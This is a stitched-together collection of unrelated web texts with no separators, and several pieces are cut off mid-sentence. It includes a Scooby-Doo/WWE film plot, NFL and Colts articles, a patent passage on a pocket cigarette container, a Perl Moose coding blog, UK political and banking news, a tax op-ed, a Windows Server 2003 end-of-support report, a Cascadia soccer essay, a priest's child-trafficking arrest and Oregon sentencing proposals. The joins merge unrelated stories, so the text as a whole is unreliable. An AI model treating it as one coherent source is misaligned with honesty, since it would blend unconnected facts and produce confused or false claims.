Plot [ edit ]
After helping WWE solve the mystery of the ghost bear in Scooby-Doo! WrestleMania Mystery, the Mystery Inc. gang is seen at WWE's latest venture, The Muscle Moto X Off Road Challenge, an off-road racecar race for WWE superstars, with a big cash prize. Scooby-Doo and Shaggy are there working at a food truck. Many WWE superstars are in the race, including WWE chairman Mr. McMahon's own daughter Stephanie McMahon and her husband Triple H. Scooby and Shaggy are excited to hear that The Undertaker is going to be in the race.
Suddenly a demon racer named Inferno appears in a big race to sabotage the race, Mr. McMahon hires Mystery Inc. to solve the mystery. Mr. McMahon wants Stephanie to pull out of the race, but she refuses. After learning they both have wealthy dads, Daphne becomes friends with Stephanie, making Velma feel very left out. The Undertaker is disappointed that his partner, Dusty Rhodes was injured in the race and recruits Shaggy and Scooby to be his new partners under their names "Skinny Man" and "Dead Meat", to which they reluctantly agree to. However, since Undertaker's car was also destroyed in Inferno's attack, Fred modifies Shaggy and Scooby's food truck so they and Undertaker can race that car instead and nicknames it "The Scoobinator".
During the first race, Inferno attacks the racers again and Velma, Daphne and Fred notice that Mr. McMahon is nowhere to be seen. That night Scooby and Shaggy are chased by Inferno only to be saved by The Miz. The following morning, Inferno attacks again and Scooby, Shaggy and The Undertaker almost drown when The Scoobinator lands in water. Luckily, the trio is able to escape. That night, Daphne tells Velma even though she enjoyed hanging out with Stephanie, Velma will always be her best friend. The following day, Fred modifies the Mystery Machine so Scooby, Shaggy and Undertaker can race it in the final race. This time he, Daphne and Velma join the three of them in the car. Sure enough, Inferno attacks once more and goes after the gang. However, the other WWE stars in the race gang up on Inferno and attack his car with theirs.
After an action filled showdown, Inferno is defeated and unmasked to be Triple H. He and Stephanie used the costume to win the race. Stephanie mostly masterminded the plan because she was mad at her father for not letting her get in the race. Mr. McMahon apologizes saying he only wanted her safe, but still allows the police to take Stephanie and Triple H to jail. With Stephanie and Triple H disqualified, Scooby, Shaggy, and The Undertaker win the cash prize by default, which they share with Dusty.
Cast [ edit ]
Production [ edit ]
On September 15, 2014, WWE and Warner Bros. announced a direct sequel to WrestleMania Mystery to be released in 2016. In February 2016, it was announced it will be named Scooby-Doo! and WWE: Curse of the Speed Demon.[5] Hulk Hogan was billed to be prominently featured.[6] However, on July 23, 2015, WWE terminated their contract with Hogan due to his racist comments, leaving speculation as to his appearance in the film. This film also marks the final film for Dusty Rhodes who already did voicework prior to his death a year before the film's release. It is the third co-production between Warner Bros. Animation and WWE Studios after Scooby-Doo! WrestleMania Mystery and The Flintstones & WWE: Stone Age SmackDown!
Follow-up film [ edit ]Warren Sapp Said What About Myles Garret?
Warren Sapp had a few thoughts on likely No. 1 NFL draft pick Myles Garret. In the future, he should probably think a little more to himself. Find out why
Kenneth Wilson Blocked Unblock Follow Following Apr 23, 2017
ProFootballTalk
NFL HOF’er Warren Sapp has been all over the headlines on this football-less Sunday, but the story actually has little to do with him. As you may have heard by now, he said that he doesn’t think that the likely No. 1 overall pick Myles Garrett is worthy of going first overall. He stated that he thinks the former Texas A&M standout is “lazy” and only makes “4 plays a game.” Whether or not these claims can be substantiated or whether you and I believe them are one thing, but the source of the claims are another.
Good Bull Hunting
It wasn’t that awful long ago, the great year of 1995 to be exact, that a young and primed Warren Sapp was coming out of college at Miami. Just like Garrett, Sapp too was primed to be one of the very top picks, although maybe not first overall. What saw Sapp fall was a slew of issues that came across the desks of General Managers and decision makers leading into the draft. These issues range from your run of the mill “character flaws” to drug concerns, and oh yea — even some being concerned about his motor and work ethic. In other words, some people may have felt Sapp was a bit “lazy.”
NFL fan’s reaction to Warren Sapp’s crticism of Myles Garrett
When thinking about Garrett, he appears to be a dedicated worker. This is indicative in his production despite being double and triple teamed most of the time. He has consistently illustrated the skills and production that makes him the potential No. 1 overall pick, even when everyone knew he was set to do so before the 2016 season. Don’t take my word for it, see for yourself:
Youtube
There are actually two morals to this story. The first is that Warren Sapp should probably go hide for a little while until this whole draft thing blows over. The second is that if people took his advice, he may not be a HOF’er today. The irony is real, folks. Whether Myles Garrett is successful in the NFL or not is a completely different story. However, being the first overall pick in the NFL draft is an accolade that is earned. And Garrett has done more than enough to earn it.CLOSE Insiders Stephen Holder and Dave Birkett discuss the Lions preseason victory over the Colts. Clark Wade/IndyStar
Indianapolis Colts quarterback Scott Tolzien (16) is sacked by Detroit Lions defensive end Alex Barrett (79) in the first half of their preseason NFL football game at Lucas Oil Stadium Sunday afternoon, August 13, 2017. (Photo: Matt Kryger/IndyStar) Story Highlights Colts at Cowboys, 7:30 p.m. Saturday, WXIN-59
INDIANAPOLIS – If you came to Lucas Oil Stadium on Sunday hoping to find a quarterback clinic, it took about three minutes of action to confirm you’d made a gross miscalculation.
Oh, the Indianapolis Colts have their share of quarterbacks – they have three on the roster behind injured starter Andrew Luck – they just didn’t do a very fine job of, you know, quarterbacking on Sunday.
This 24-10 loss to the Detroit Lions in the Colts’ preseason opener was played with Luck on the sideline, where he’s been since January. And it inspired little confidence in the Colts’ ability to win a game without their Pro Bowl signal caller under center.
And that's something they might still need to do.
More:
Pat McAfee enjoys watching the Colts from his couch
Irsay: Andrew Luck questionable for opener but progression could not be better
Love our Colts coverage? Download the free INSports app
Box score: Lions 24, Colts 10
Owner Jim Irsay reiterated Sunday what we’ve continued to hear in recent weeks: The Colts can’t commit to Luck recovering from shoulder surgery in time to start the Sept. 10 season opener against the Los Angeles Rams.
“We always knew it would be a borderline thing,” Irsay said.
On the field, if you were looking for signs the Colts might be able to compete without Luck in the lineup – or even |
interior chamber. The end of the container body that contains the container opening 31 has a tapered outer collar 25 surrounding the opening, which tapers from a wider portion adjacent to a protruding lip 24 spaced apart from the container opening to a narrower portion adjacent to the container opening and at least one circumferential protruding ridge 27 encircling the outer collar between the protruding lip 24 and the container opening 31.
The container cap 22A, 22B, 22C, and 22D has a cap opening 30 at one end of the container cap and an interior space 32 at least as deep as the length of the outer collar 25 of the container body 21A, 21B, 21C, and 21D. The interior space 32 has a tapered recessed inner collar 26 to mate with the tapered outer collar 25 of the container body in an airtight and water resistant fit so that no air or moisture enters or leaves the container and no odors emanate from the closed container. The inner collar 26 is positioned adjacent to the cap opening 30, and has at least one recessed groove 28 encircling the inner collar at a position on the inner collar to mate with the protruding ridge 27 of the container body when the container cap is installed on the container body. The inner collar 26 has a precision tapered surface to mate with the outer collar 25 to form a tight friction fit between the container cap and the container body so that no air or moisture penetrates into the interior chamber and no smells emanate from the inner chamber, and the recessed groove 28 is precision formed to mate with the protruding ridge 27 with a close tolerance fit to snap together, locking the cap on the container to form a sealed airtight, water resistant, and odor impermeable container to fit in the user's pocket.
The tapered outer collar 25 and mating tapered inner collar 26 both have smooth plastic surfaces to make it easier to open and close the cap, thereby overcoming the friction of the tapered fit and snap connection of the protrusion 27 and groove 28.
The container is fabricated in a variety of sizes and shapes according to the shapes of the items carried and the necessary shape of container for carrying a variety of items in the user's pocket including a hand rolled cigarette or single commercially-rolled cigarette 40 container as shown in FIG. 1, a mini cigar 50 or blunt cigarette container as shown in FIG. 4, a four cigarettes size container, as shown in FIG. 7, which may also hold change and money 60 and most keys and computer flash cards, and a cigarette pack or tobacco and rolling paper container as shown in FIG. 9 with a snap-in mini cigarette lighter.
The container may also have a clip 23 on the exterior of the container, as shown in FIGS. 1, 2, 4, and 5, for clipping the container onto an edge of a pocket.
In FIGS. 9 and 10, the container 20D further comprises at least one removable divider 16 that is insertable into at least one pair of channels or tracks 18 in the walls of the inner chamber of the container to divide the inner chamber 33, as shown in FIG. 9, into at least two inner chambers 33A and 33B, as shown in FIG. 10. These two inner chambers 33A and 33B may be used to store different items separate from each other, such as loose tobacco in one chamber and rolling papers in the other. Two removable dividers 19 each having a recessed portion 17 of a top edge may be used to support a lighter 70 stored horizontally resting on the recessed portions of the dividers. The container of FIG. 9 is made in two sizes to accommodate regular and king-size cigarettes.
It is understood that the preceding description is given merely by way of illustration and not in limitation of the invention and that various modifications may be made thereto without departing from the spirit of the invention as claimed.NEW YORK -- New York Mets general manager Sandy Alderson hopes his team will open 2016 with a “somewhat higher” payroll than the roughly $103 million mark it stood at on Opening Day this year.
“We ended up higher than the $103 [million] because of the additions we made at the [trade] deadline,” Alderson said. “So my hope is we’ll start with a somewhat higher payroll -- I don’t know exactly what that will be -- than we started [at] last year. And we’ll have room at the deadline to make acquisitions, as we did this year.”
Before the Mets make any offseason maneuvers, they have roughly $92 million committed to players for 2016.
Asked if the increase in attendance as a result of the team's success automatically translates to a higher payroll, Alderson replied: "Automatically? I think it makes it easier. Absolutely. And I think that's kind of what we said over the last two or three years. As I indicated, I do think our payroll will start at a higher level this year than it started last year."So lets see how I am going to move those annoying'sub SQL' that I have in my DA::View and DA::Element packages out of them and into my LSDs.
So going blindly where I have gone before though the I might Role for the Element class in DA::LSD::SQL and see what I can come up with. So I duly added this
package
DA::LSD::SQL_D::Element;
use Moose::Role;
sub retrieve {
my $self = shift;
if ( $self->alias() ) {
return $self->name(). " AS ". $self->alias();
}
else {
return $self->name();
}
}
...
if ($conn eq 'DBH'){
apply_all_roles( $lsd, "DA::LSD::SQL_D");
foreach my $elememt (@{$self->elements()}) {
apply_all_roles( $elememt, "DA::LSD::SQL_D::Element");
}
}
...
--$sql.= $delimiter. $element->sql();
--$sql.= $delimiter. $element->retrieve();
ok 9 - SQL correct
my $elements = $address->elements();
ok (does_role($elements->[0],'DA::LSD::SQL_D::Element'),"Does Role DA::LSD::SQL_D::Element" );
ok 10 - Does Role DA::LSD::SQL_D::Element
ok 13 - Mongo Query correct
ok 14 - Does Role DA::LSD::SQL_D::Element
Now I renamed the SQL sub to retrieve just to keep it separate and then after playing about for a long while the best I could come up with was this in my DA retrieve subThen all I needed to do was change my _execute sub in LSD::SQL a little like thiswell that solves that problem as I get this on the testWell did it really solve the problem?? If I was to call up one of the Element objects I would see that they now do the Role DA::LSD::SQL_D::Element so another quick testI get thisand after the Mongo call I run the test aging with the same resultSo code bleed again not the situation I wanted. Now there would be only one sub changing (I hope) so it work but I now I am in the situation of having to iterate over all the instances in my DA attributes to apply my LSD roles each time I run a query.
Fine for now with just two attributes but I will have at least eight when things are done. Not the best way to programe efficient code.
So I though I might be able to try something funky like creating a lazy attribute on my DA::View like this
has retrieve=>(
isa =>'Str',
is =>'rw',
lazy=>1,
builder=> sub { my $self=shift; return $self->lsd->retrieve()},
);
and the in that builder sub refer back to the LSD but that was a non-starter as I would have to pass to the DA::View some reference to the LSD though iteration and then take it out when done, which is just a little less problematic.
I may have gotten rid of the role and code bleed but still have all that iteration to do but now, twice as much.
So now I have gone from a muddled state into a very muddled state. Oh well there is always tomorrow.Janoi Donacien played for the Aston Villa Under-19 side that won the 2012-13 NextGen series
Wycombe Wanderers have signed Aston Villa defender Janoi Donacien on a month-long loan deal.
The 21-year-old St Lucian played 31 league games during two loan spells at Tranmere Rovers last season.
Donacien played against Wycombe for Aston Villa in a friendly in July 2013.
"Janoi is an excellent young prospect and a very talented defender who already has good experience of playing at this level," said Wycombe manager Gareth Ainsworth.
"First-team football won't faze him at all.
"Injuries to Anthony Stewart and Danny Rowe in the last couple of weeks have really stretched the squad defensively and Janoi will be a big help to us over the coming month."
Donacien will join the squad as Wycombe host Dagenham & Redbridge on Saturday.
Find all the latest football transfers on our dedicated page.Get the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Up to 30 Tory MPs are set to learn if they will be charged with electoral fraud at 11am today.
Prosecutors are due to make an announcement on files they have received from 15 police forces before Thursday's deadline for candidates to declare whether they will stand in the upcoming election.
A Mirror investigation revealed last March that two dozen Conservative MPs received help from battlebuses packed with party activists during the 2015 general election but failed to declare the cost.
In a follow-up report a six weeks later, Channel 4 News identified a further handful of Tory candidates accused of similar failings.
All deny wrongdoing but face up to a year in jail and an unlimited fine if found guilty of offences under the Representation of the People Act.
The Crown Prosecution Service has confirmed that it received files from a string of police forces but not the number of individual MPs facing possible charges.
(Image: Getty)
The final file, on South Thanet MP Craig Mackinlay, was passed to the CPS by Kent Police on April 18, the day Prime Minister Theresa May called a snap general election.
Mr Mackinlay is standing again and has said: "I have done nothing wrong and acted honestly and properly throughout."
There is a time limit in each case set at one year after judges began giving officers one year extensions to investigate the Mirror's allegations last May.
(Image: AFP)
A CPS spokesman would not comment on any future announcements but the first decision on an individual MPs case must be made by May 20 and the rest by early June.
But the Mirror has learned that the first decision is expected this week, in time for the deadline for candidates to file their nomination papers to stand in the June 8 poll.
None of the MPs accused have given any indication that they intend to stand down. Challenged in the House of Commons on the electoral fraud allegations, Ms May has said she "stands by" all her MPs.
The CPS has received files from Avon & Somerset, Cumbria, Derbyshire, Devon & Cornwall, Gloucestershire, Greater Manchester, Kent, Lincolnshire, Metropolitan, Northamptonshire, Nottinghamshire, Staffordshire, West Mercia, West Midlands and West Yorkshire police forces.Northern Rock relied heavily on money markets
The EU has said it will launch a full investigation of the state bailout plan of troubled UK bank Northern Rock.
Northern Rock was given emergency government funding last year, after it was hard hit by the credit crunch.
In February, the government said the bank would be temporarily nationalised, but it needs European regulators to approve its rescue plan.
UK taxpayers are now subsidising the bank in loans and guarantees to other lenders to the tune of about £55bn.
According to the BBC's business editor, Robert Peston, the move by the EU was widely expected, given the size of the government rescue package.
Restructuring
The bank recently said it would cut about 2,000 jobs by 2011 and reduce its residential mortgage lending by half, as part of plans to turn around the troubled bank's fortunes.
Northern Rock must repay Bank of England loans worth about £25bn. At the end of March, the bank said it would repay its state loan by 2010 even though it said it would not break even for three years.
At heart of the EU investigation is whether the long-term restructuring plan harms competition in the market.
Under EU rules, public support can be allowed to stop firms from going bankrupt, but long-term government aid that is seen to undermine competition is not permitted.
Danish banks have already made formal complaints to the European Commission alleging unfair competition in the European banking sector after Northern Rock was given state aid.It hasn’t been the best year for San Francisco food apps. Some recent highlights lowlights include:
SpoonRocket, an App-Driven Food Delivery Service, Ceases Operations
Recipe Delivery Service Din Has Shut Down
Munchery Replaces Co-Founder and CEO on a Quest for Profitability
Tech-Driven Food Delivery Startups Aren’t Immune to SF’s Restaurant Woes
Meal-Delivery Company Sprig Goes Lean
Now, add the demise of Bento to the list. Founders Jason Demant and Vincent Cardillo started Bento in 2015 with $1.5 million of venture capital money as a meal delivery service of your choice of a main dish and four sides prepared daily by a kitchen managed by Top Chef alum Mattin Noblia. Demant and Cardillo posted a letter to the Bento website last week that announced the food delivery service’s closure. It read, in part:
As of Friday December 9th, Bento has closed down our kitchen, and is no longer open for business. We had hoped to find a new home and a new owner, but we were unable to do so. Over the last few months we have seen incredible growth. Going from serving only 100 meals per day in May, to 700 meals per day in December. This was incredible growth in such a short time. We worked with EAT Club, Zesty, Caviar Fastbite, and many others to serve these meals with great success. With this growth, we began to hit profitability as well. In October and November, our business hit full net profitability. Despite these successes, there were a few major issues with the business: Low gross margin dollars -- We were now wholesaling our meals which meant that we were selling meals for much less. Despite the lower sales price we were still making a healthy margin on each meal, however, the total margin dollars were low. In order to finance research & development and a more robust management team, we needed to sell a LOT more meals, which was becoming increasingly difficult. Growing further was going to be challenging -- We were starting to run into major issues around our kitchen size, the timing of meals, and other logistical challenges. Personal financial challenges -- While the business was profitable, I was unable to pay myself a sustainable salary.
Demant went on to say that he and Cardillo had tried to find a buyer, and despite “several promising discussions,” were unable to do so.
Bento is just the latest local food delivery service to bite the dust. Back in October, Din named a crowded market and a shift in funding as the reasons for its closure, while Spoonrocket said the same just a few months prior. Meanwhile, Caviar, Munchery, and Sprig are all experiencing growing pains, with Caviar looking for a buyer, Munchery struggling to turn a profit and Sprig scaling back operations. It’s unclear who will come out on the other side of this obvious correction in the online delivery business.Sen. Charles E. Grassley (R-Iowa) supports lifting the estate tax for “people who are investing” rather than “spending every darn penny they have... on booze or women or movies.” (Win McNamee/Getty Images)
Jared Bernstein, a former chief economist to Vice President Joe Biden, is a senior fellow at the Center on Budget and Policy Priorities and author of 'The Reconnection Agenda: Reuniting Growth and Prosperity'.
On Saturday, Sen. Charles E. Grassley, a Republican from Iowa and member of the Senate’s tax writing committee, said this about repealing the estate tax:
“I think not having the estate tax recognizes the people that are investing, as opposed to those that are just spending every darn penny they have, whether it’s on booze or women or movies.”
A few days before that, the chair of the committee, Sen. Orrin G. Hatch (R-Utah), said this regarding Congress’s failure to reauthorize the Children’s Health Insurance Program, which provides Medicaid coverage to 9 million kids in low-income families: “The reason CHIP’s having trouble is because we don’t have money anymore, and to just add more and more spending and more and more spending, and you can look at the rest of the bill for the more and more spending.”
[Another delicate challenge for Republicans: Reconciling House and Senate tax bills]
Let us examine these statements in turn.
The pure meanness and inaccuracy of Grassley’s prejudicial, ignorant statement lit up the Twitterverse, as it should. There’s no correlation between the estate tax and investment. Its repeal is nothing more than a gift to a tiny sliver of rich heirs (only the richest 0.2 percent of estates are hit by the tax). But what I want to stress here is that his abhorrent words are clearly embedded in the tax policy he and his fellow Republicans are busy rushing to legislate.
The tax plan is written in such a way as to favor asset-based incomes, passive business investments and inherited wealth, and to penalize, once it’s fully phased in, those foolish enough to depend on their paychecks. If your income derives from your stock portfolio or your rich parent, this plan loves you. Otherwise, tough luck.
The mechanisms that push this tilt are the aforementioned repeal (House plan) or doubled exemption level (Senate plan) of the estate tax; the large cut in the corporate tax, as most of those benefits accrue to shareholders and corporate chief executives; the tax decrease on profits from high-end “pass-through” businesses such as hedge funds and real estate trusts (about 70 percent of pass-through income accrues to the top 1 percent of taxpayers); the elimination of domestic taxation on foreign earnings; and the ability of U.S. multinational companies to take years of deferred foreign earnings at a much reduced rate, a change that would save these companies an estimated $500 billion. All of the above significantly raise the value of nonlabor income.
Meanwhile, the phasing out of the individual tax cuts and the Senate’s repeal of the individual health-care mandate end up costing low-income households — who, of course, disproportionately depend on their paychecks — as shown in the figure below.
It’s awful enough for Grassley to spout such ignorance. But the worse crime was to embed it in tax policy.
Turning to Hatch’s statement, I cannot state the following adamantly enough:
Because they have used the deficit to pay for a tax cut that blatantly favors the rich over the rest, Republicans have forfeited their ability to tell us what we can and can’t afford.
Of course, they will continue to make that argument, as Hatch and many of his colleagues have. But do not forget this: They could have made their tax plan revenue-neutral. They decided not to, and they further decided, based on their revealed preferences, that the parts that help middle- and low-income families should expire, while those that help the rich should live on forever (see figure above).
Supporters of the plan say they’ll never let that happen. They claim future policymakers will extend the cuts that are scheduled to expire. Maybe they will; maybe they won’t. But if they do, that will add another $500 billion to the federal debt, which will only amplify their calls for more spending cuts.
For decades, the Republicans have employed deficit-induced fearmongering as a reason to oppose any ideas from Democrats. They never stop caterwauling about the unsustainability of our social insurance and safety-net programs. But their deficit-financed gift to wealthy asset holders belies such posturing. Affordability is a choice, and they’ve shown whose side they’re choosing.
All of which leaves us with a terrible, and terribly revealing, tax plan.Brentwood, CA Partners With Sonic to Get $40, Gigabit Service
Brentwood, California residents are now enjoying gigabit speeds thanks to a city partnership with Sonic.net. According to the San Jose Mercury News (hat tip to Community Broadband Networks) Sonic is using city fiber conduit to offer $40 a month ($60 after taxes and fees) gigabit service to around 8,000 city residents. Local residents, who were tired of incumbents AT&T and Comcast, say there's a world of difference in the service quality:
Not only are they getting faster speeds, but Sonic has historically been very pro-consumer in terms of privacy and snoopvertising-related issues. According to Community Broadband Networks, the city managed to nab a few notable perks as well, including free gigabit service for city hall, and free gigabit service for schools where 30% or more of the local households sign up for service."Not only did (Brentwood) have the foresight to include extra conduit to every new home and business built after 1999 (in addition to the typical conduit placed for incumbent cable & telco), but they've really worked well with Sonic on the build-out as well," Sonic CEO Dane Jasper tells me via e-mail. "It's a wonderful example of a public/private partnership, where the city set standards that assured available extra conduit, and then partnered with a provider to build and deliver services."The day has come. Microsoft's Windows Server 2003 has reached its end-of-life today, July 14. Essentially, businesses still running the operating system are left to fend for themselves against undiscovered vulnerabilities and threats to their data, unless they spend a considerable amount of money to contract with the Redmond, Wash., software giant for custom support services.
"It's hard to believe that, after 12 great years, Windows Server 2003 extended support ends today," wrote Microsoft's Server and Cloud Platform team in a reminder posted to the company's Server and Cloud Blog. "Over the last year, many customers have prepared and planned their migrations and have migrated to a modern infrastructure."
Companies that have somehow missed Microsoft's yearlong outreach effort now face an uncertain data security landscape. Some may even learn that their systems have fallen out of compliance, endangering their ability to legally conduct business, warned Microsoft.
"If you are still running Windows Server 2003 in your datacenter after today, you could face security risks and potential compliance violations," cautioned the company. "If you have not yet begun your migration, we encourage you to do so, not only to protect your servers with continued security updates and patches from Microsoft, but to gain efficiencies across your business, reduce the burden on your IT and leverage modern cloud technologies and applications to boost agility."
Nick East, CEO of Zynstra, a provider of hybrid cloud appliances, echoed the sentiment. "The Windows Server 2003 end-of-support deadline presents an opportunity for organizations to refine their IT strategy," he told eWEEK in an email statement.
In recent years, Microsoft has championed a cloud-enabled approach to IT that balances the cost-savings benefits of public cloud infrastructures with an organization's on-premises security, processing and data accessibility requirements.
Windows Server 2012 was dubbed the "Cloud OS" by the company during its launch, due in large part to its built-in virtualization and cloud computing capabilities. Earlier this month, the company released an Operations Management Suite add-on for its System Center data center management software that bridges the gap between local and cloud-based server and workload management.
East believes laggards should follow Microsoft's cloud-centric product strategy and consider a hybrid approach as they rush to migrate from Windows Server 2003.
"Ideally, they will adopt hybrid IT to take advantage of the performance and control of on-premises IT as well as the cost and scalability benefits of the cloud," East said. "Provided as a service, the hybrid IT model takes these benefits one step further, offering it as a subscription-based model with no capital expenditure and no management required."
In fact, a cloud-backed solution may be the only economical choice for those organizations that are heavily invested in the OS, concluded East. "Hybrid IT-as-a-Service may well be the best option for organizations faced with a complete infrastructure refresh in the wake of the [Windows Server 2003] end of life."The only time I took the rivalry between the cities seriously was when I was deciding to move. I’d lived in California my whole life and was growing disgusted by my year in Los Angeles. I wanted to go green. The Northwest had two MLS markets. The Northwest was a place I’d spent weeks at a time as a child, on summer vacations. The Northwest had Seattle and Portland. It was time to make a move.
I eventually chose Portland because it was cheaper, but in the weeks I’d spend in Cascadia doing my due diligence, I got a small, deceiving glimpse of the region’s soccer culture. In the winter of 2009, random conversations in Rose City’s bars, trains and taxis portrayed a city, two years out from Major League Soccer, that was focused on its history.
One year later, in Seattle, a taxi driver went out of his way to drive by a Sounders billboard. Pointing up at an oversized Kasey Keller, my guide offered what I thought was a non sequitur: “They’re getting a team, but I bet you they’re still talking about us.”
I used to bring up that anecdote a lot. It seemed like a good way to transition into why I really chose one city over the other. Now, I regret I ever told it. If nearly six years in the Pacific Northwest has taught me anything, it’s that the divide between the cities is overblown. In the stands, the rivalry is miles beyond anything else Major League Soccer can offer. Across the region, though, the sides are two parts of the same culture.
EXCLUSIVE Sounders GM Lagerwey explains in depth how team landed Nicolas Lodeiro
That culture, though, includes people like my cab driver – those determined to play out the fan’s role to its safest extreme. Hardcore Portland fans do spend a lot of time talking about Seattle, but it’s not a one-sided obsession. For every 107 Independent Supporters’ Trust member in Portland that injects the word for excrement into the name of Seattle, there’s an Emerald City Supporter who’ll wholeheartedly insist Portland fans are “scum.” With few exceptions, this kind of hardcore base exists in every MLS fan group, but in Cascadia, those bases have flourished.
I used to think it was cliché, as if that too common reflex to emulate England’s fans was being incubated by Cascadia’s numbers. On the ground, though, I started seeing meaningful differences. If somebody even hints at violence or undue negativity, as a then-107ist leader did a few years ago when he spoke out in violent tones against a Portland bar that served ECS members, both sides come together to quickly denounce it. It’s more common to see people join friends across the rivalry for beers at HotLips Pizza or Elysian Fields before games. Portland-Seattle games are among the least violent sporting events I go to.
Timbers fans. (Troy Wayrynen-USA TODAY Sports)
That’s not to say the rivalry itself is friendly; there’s just always a recognition of scope. “Hate” truly has a benign, purely sporting context. I know Sounders fans that live in Portland, and Timbers fans that live in Seattle. I know relationships that cross the divide, sometimes happily so. Nobody is judged of hanging out with “scum” or said to smell like fish for visiting Seattle. At least, nobody does this in earnest.
It’s because Cascadians have too much in common to hate each other. Amazon and Microsoft imports aside, people come to and stay in this area for similar reasons. Demographically, often politically, and certainly culturally, people are far more alike than they are in most of this country’s significantly populated regions. That those qualities tend to align themselves with soccer fandom might explain why the Sounders and Timbers are so successful. It may also explain why the rivalry rarely strikes a harmful note.
That’s part of the reason why hundreds upon hundreds of fans can pack buses to travel for each derby. Thanks to CenturyLink’s huge capacity, Timbers fans seem to number in near a thousand, even when they don’t. Still, the cacophony of drumming from their bird’s-eye view at times, in the right circumstances, inches over the ire from the Brougham End which ECS calls home, just as the five, six hundred Sounders fans that invade Providence Park can drown out the Timbers Army at the south end of the park. We’ll see that scenario once in each market in the coming eight days.
GRAHAM PARKER Authenticity: The beauty and the beast
Within the core of each supporters’ group, the rivalry is exactly as you’d see from afar: A bunch of people who love their teams and fellow fans, have bought into the role of supporter, and are playing the role out at its highest levels. They’re the people who rent the buses, make the tifo, and get the tattoos that end up shared across social media. They’re also the fans that lead ESPN promo reels and your favorite long-form culture pieces, but everytime I see that coverage, I think of the rest of the people that are filling the stadiums. They’re not the fans that fuel “hatred” any more than Lakers fans hate Clippers fans. They’re not taxi drivers that take me out of my way to justify their fandom, and they’re not people staying late in bars to talk about games two years out.
They’re people who recognize the place of rivalries but don’t define their fandom by them. They define their fandom by going to games, the occasional bus trip, and just being a part of the sport. Soccer is their favorite hobby, not their life. In cities where you’re likely to be working beside University of Washington and University of Oregon alums, it takes too much energy to make sports into divisions.
Within Cascadia, Portland and Seattle were two products of the same style of life. One has become the hub of the region. The other has evolved into a complementary jewel."
I wish I’d known that six years ago. When I chose Portland’s lower cost of living, I expected the hype to play out, mostly because I had seen examples of that hype in the years before. But what I found were two cities that have as much in common as the cities I came from. Los Angeles and San Diego share a culture, just different implementations of it. Within Cascadia, Portland and Seattle were two products of the same style of life. One has become the hub of the region. The other has evolved into a complementary jewel.
That seems to be how people outside the Northwest see the region. When they think about soccer in Cascadia, they don’t marvel at why Portland is successful at the same time Seattle’s thriving. They don’t see it as coincidental, or even similar, no more so than something can be similar to itself. The two cities, cultures and fan bases exist as siblings: products of the same source.
Now I spend a week a month in Seattle. I usually spent another week outside the Northwest and two in Portland. For all the Portland friends I’ve made in six years in Cascadia (some of whom will vehemently disagree with this post), I seem to have just as many in Seattle. All seem to suspect I secretly support the other side, but seemingly with a pride at having made the region into an MLS nirvana, all have immensely helped my work since I moved north.
Timbers tifo earlier this season. (Troy Wayrynen-USA TODAY Sports)
It’s why, last month, I became a member of both the 107 Independent Supporters Trust and Emerald City Supporters. I’ve been reticent to write about it before, since using it gives the impression I only joined for the content; that isn’t the case. Ever since I moved to Portland, though, I promised myself I’d become a 107ist, if for no other reason than to have a voice in how soccer grows in a community I adore. However, when it came time to join, I realized I owe as much of my love for this region’s soccer to ECS as I do my neighbors in Portland.
Starting Sunday, the Sounders and Timbers play each other two times in eight days, games that could go a long way to deciding which of Cascadia’s teams make the postseason. With the Vancouver Whitecaps sitting between the two clubs in the standings, the region’s other team will be pulled into the fray, though as always, the focus will be on the other two.
Within that focus, the differences between the two soccer cultures will be magnified, and fans will surely claim to truly hate the others. In the broader picture, though, Cascadia derbies should be celebrations of what U.S. soccer has become. And for me, the coming week gives me two chances to appreciate what my communities are contributing to the sport.
More features at FFT | MLS | Stats Zone
Richard Farley is the West Coast Editor of FourFourTwo USA. Follow him on Twitter @richardfarley.MANILA - The priest who was caught bringing a 13-year-old girl into a motel was released after posting bail of P120,000, the Marikina police chief said Wednesday.
Senior Superintendent Roger Quesada, Marikina police chief, said Msgr. Arnel Fuentes Lagarejos is facing charges of violating the Anti-Trafficking in Persons Act of 2003 after allegedly attempting to have sex with a teenager he was about to meet through a pimp who is also a minor.
He said Chief Superintendent Romulo Sapitula, Eastern Police District director, has ordered a thorough investigation of the case following reports that the priest already met with the minor twice and had sex with her once.
In a separate interview, Metro Manila police chief Oscar Albayalde explained why Lagarejos was sued for trafficking and not rape.
"'Yung nangyari kasi dito wala pa kasing lumalabas na intercourse pero nasa loob na sila ng [motel]. Kaya parang human trafficking," he told ABS-CBN News.
He, however, said a rape case can still be filed by the minor's parents, Department of Social Welfare and Development or the Philippine National Police. "The victim is a minor," he pointed out.
Lagarejos, 55, was arrested in an entrapment operation last Friday in a mall along Sumulong Highway.
The priest was earlier stripped of his duties as parish priest of St. John the Baptist Parish and as president of Cainta Catholic College.Oregon district attorneys Tuesday urged the state to reduce penalties for marijuana offenses, and presumptive prison sentences for other drug crimes as a way to reduce spending on prison beds while safeguarding sentences for violent and repeat property crime offenders.
Harney County District Attorney Timothy Colahan, president of the Oregon District Attorneys Association, stood with district attorneys from Multnomah, Washington, Clackamas and Yamhill counties at the Clackamas County District Attorney's office to call for a new approach.
The prosecutors are responding to a reform package presented by Gov. John Kitzhaber's state public safety commission that would roll back Measure 11 and Measure 57 mandatory minimum prison sentences imposed by voters, in an effort to save the state $600 million over the next 10 years in projected prison growth costs.
The commission's proposed changes to Measure 11 would remove mandatory sentences for such crimes as first-degree sex abuse, second-degree assault and second-degree robbery. Voters approved the tougher sentences in 1994. Measure 57 sentences are targeted at repeat property and drug offenders.
The state's prosecutors have vigorously fought the changes.
They presented their own package Tuesday, which goes somewhat beyond House Bill 3195 that was based on a minority report drafted by public safety commission member John Foote, Clackamas County district attorney.
No legislative package has been enacted yet, and most of the discussions have occurred behind closed doors.
The district attorneys recommend:
reducing marijuana penalties to prevent most marijuana offenders from going to prison (save 164 prison beds over two years). It would not impact charges of selling marijuana to children, or within 1,000 feet of a school.
removing marijuana, cocaine, heroin and ecstasy drug distribution offenses from Measure 57, and replacing that measure's minimum mandatory sentences with the discretionary sentencing guidelines in place in 2008. On average, they say the Measure 57 sentences are five months longer than the 2008 guidelines (save 175 beds over two years).
reducing sentences for felony driving while suspended offenders to probation (save 52 prison beds over two years).
The association also calls on the Oregon Department of Corrections to reduce its projected 10 percent increase in the cost of housing inmates per day over the next biennium to a 5 percent increase, projected to save $40 million over two years.
